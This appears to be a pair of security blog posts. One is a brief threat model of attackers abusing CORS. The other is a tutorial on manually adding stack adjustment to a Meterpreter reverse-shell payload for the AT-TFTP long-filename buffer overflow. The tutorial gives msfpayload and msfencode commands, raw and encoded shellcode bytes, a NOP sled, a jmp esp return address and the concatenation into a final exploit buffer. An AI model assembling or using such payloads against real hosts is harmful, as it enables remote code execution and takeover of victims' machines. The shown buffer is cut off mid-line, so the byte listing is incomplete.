Here the Internal attacker means that he has knowledge about the internal network and services, but it doesn’t mean necessarily that he is in the internal network. A good example is an ex-employee, who knows how to interact with the internal service and has great chances to do social engineering, however, he has no access to the internal network anymore.

External attacker

The attacker has no knowledge about the internal network. In this case he could either attack services on the Internet, to which he has access, and he is able to create attacks. He can also create attacks to get to know the internal network to find well known software (i.e., open source project used by the company) which he can analyse off-line.

2) Location

Although the attacker could be local, but he would have better options then using CORS, so I would generally consider a remote attacker. As shown on the architecture the attacker has control at least over one server on the Internet. This server can be his own, then he needs to trick the user to visit it, or it can be a compromised server, which he could use to inject his own code for instance through an XSS. There are enough vulnerable servers on the Internet so this is a good option as well.

3) Goal

The goal of the attacker is either to steal information from the target servers, to which he doesn’t have access, or manipulate these applications in a way that can help him in further attacks. When attacking a service on the Internet his goal might be to use the target user’s authenticated session to steal data. In case of the internal target the most important goal is to get access to the target services at all.

4) Summary

To finish the analysis, using the above described attributes a potential attack could be for example the following:

  • Well informed about the target service.
  • Remote attacker.
  • Goal: access protected content or services.

Stack Adjustment by hand

When you are developing an exploit and you have very limited space for your payload you might need to adjust the stack to be able to use staged exploits. The problem, in case of a multi-stage payload, is that when the first stage that you send in your exploit payload starts to download the second stage, the stack pointer (ESP) might point to a place which is not far enough from the first stage in the memory; hence, the second stage might corrupt the code that you are executing. Stack adjustment is a technique that tries to solve this problem by setting the ESP to create more space for the second stage.

There is an easy solution for that which is really straight forward in metasploit. In your exploit you can set the ‘StackAdjustment’ attribute of the payload. Our simple example will be the ‘attftp_long_filename’ exploit with with the ‘windows/meterpreter/reverse_nonx_tcp’ payload. As you can see in the [MSF]/msf3/modules/exploits/windows/tftp/attftp_long_filename.rb it is set to -3500. That will subtract 3500 from the ESP just before executing the payload to make enough space for the second stage. In my case the question was, how to do the same without metasploit.

It is actually not that difficult but I wanted to write about it just for the record. As a PoC I implemented the same exploit in python using the same payload, but I will focus here on creating the payload. Our goal will be to create a payload with the following structure:

NOPsled + StackAdjustment + shellcode

Lets start from behind.


I used the ‘msfpayload’ to generate the first stage of the payload and save it in a file in raw format. I intentionally didn’t encode it at the beginning because I wanted to encode it together with the StackAdjustment, otherwise it wouldn’t fit in the available space. So first let’s generate the payload:

root@bt:/tmp# msfpayload windows/meterpreter/reverse_nonx_tcp LHOST= LPORT=7777 R > payload
root@bt:/tmp# hexdump payload
0000000 6afc 47eb f9e8 ffff 60ff db31 7d8b 8b3c
0000010 3d7c 0178 8bef 2057 ea01 348b 019a 31ee
0000020 99c0 c1ac 0dca c201 c084 f675 6643 ca39
0000030 e375 8b4b 244f e901 8b66 591c 4f8b 011c
0000040 03e9 992c 6c89 1c24 ff61 31e0 64db 438b
0000050 8b30 0c40 708b ad1c 688b 5e08 5366 6866
0000060 3233 7768 3273 545f b966 6072 d6ff 5395
0000070 5353 4353 4353 8953 66e7 ef81 0208 5357
0000080 b966 dfe7 d6ff b966 6fa8 d6ff 6897 a8c0
0000090 6638 6866 611e 5366 e389 106a 5753 b966
00000a0 0557 d6ff b450 500c 5753 6653 c0b9 ff38
00000b0 00e6                                  


Then let’s see how to do the StackAdjustment. We will subtract 3500 from the ESP, that will make enough space for the second stage payload. To do that the ‘sub esp, 0xDAC’ command has to be executed on the target. We can find out the opcode with the nasm_shell.rb tool of metasploit;

root@bt:/opt/metasploit/msf3# ./tools/nasm_shell.rb 
nasm > sub esp, 0xDAC
00000000  81ECAC0D0000      sub esp,0xdac 

The happy marriage with encoding

We need to put this opcode before the msf payload and of course it has to be encoded because there are too many 0x00 characters. To do this I just catted together the opcode and the payload and piped it into the msfencode:

root@bt:/tmp# cat stack_adj payload | msfencode -b '\x00\xff' -t ruby
[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1)

buf =
"\xbe\x15\x4a\xd1\x8c\xda\xde\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x2e\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\xe0\xcb" +
"\x3d\x20\x07\xcc\xbd\xc5\x7d\x27\xfa\xdd\x78\x48\xfa\xe1" +
"\x1a\x86\xde\x95\xa7\xd4\x6b\xd5\x6a\x5d\x6d\xc9\x1f\xca" +
"\x4d\x14\xf5\x7e\xb9\x8c\x08\x6f\xf3\x70\x93\xc3\x35\xba" +
"\xae\x1a\x74\xbf\x70\x69\x8e\x83\x16\xab\xa4\x71\x35\x80" +
"\xb3\x35\x9d\x16\x2d\xaf\x56\x04\xf4\xbb\x27\x29\x07\x55" +
"\xb4\x7d\x9e\x2c\xd6\x59\xbc\x4f\xd9\x42\x8d\x54\x41\x08" +
"\xad\x5a\x02\x4e\x3e\x10\x64\x53\x93\xad\xec\x63\xb5\xd7" +
"\xbf\x15\x21\x2b\x0d\xb2\xc6\x38\x43\x1d\x7d\xd9\x1a\xd3" +
"\x1d\xda\x8a\x81\x8d\x77\x61\xf9\x72\x2b\xc6\xae\xfd\x2c" +
"\xae\xd1\x11\xba\x2c\x85\xbe\xdd\x89\xce\x9e\xdd\x3f\x76" +
"\x98\x8a\xd0\x88\x0c\x5d\x46\xb7\x19\x5a\xf0\x51\x32\x85" +
"\x9d\xfb\x91\x30\xbe\x6e\x06\x10\x17\x09\x9f\xc1\x92\x2a" +

It was important to encode them together otherwise it would not fit in the 223 byte space available in the exploit.


The NOPsled can be easily created with metasploit, since the encoded shellcode is 210 bytes and we need to fill 223 bytes, we need to generate a 13 bytes long NOPsled:

msf  > use nop/x86/opty2
msf  nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.


    -b <opt>  The list of characters to avoid: '\x00\xff'
    -h        Help banner.
    -s <opt>  The comma separated list of registers to save.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf  nop(opty2) > generate -b '\x00\xff' 13
buf =

Putting everything together

In my exploit, I simply concatenated everything together:

nopsled = "\x48\x4f\x2d\x25\xbb\x66\xba\x3d\x47\x41\x2f\xd6\xfd"
shellcode = nopsled
shellcode = shellcode + buf
shellcode = shellcode + "\x53\x93\x42\x7e" #jmp esp address
shellcode = shellcode + "\x83\xc4\x28\xc3" # add esp \x28; retn


The important takeaway here is how to adjust your stack manually if for some reason you can’t use metasploit. It is not difficult you just need to get your hands a bit dirty with bytes and hex.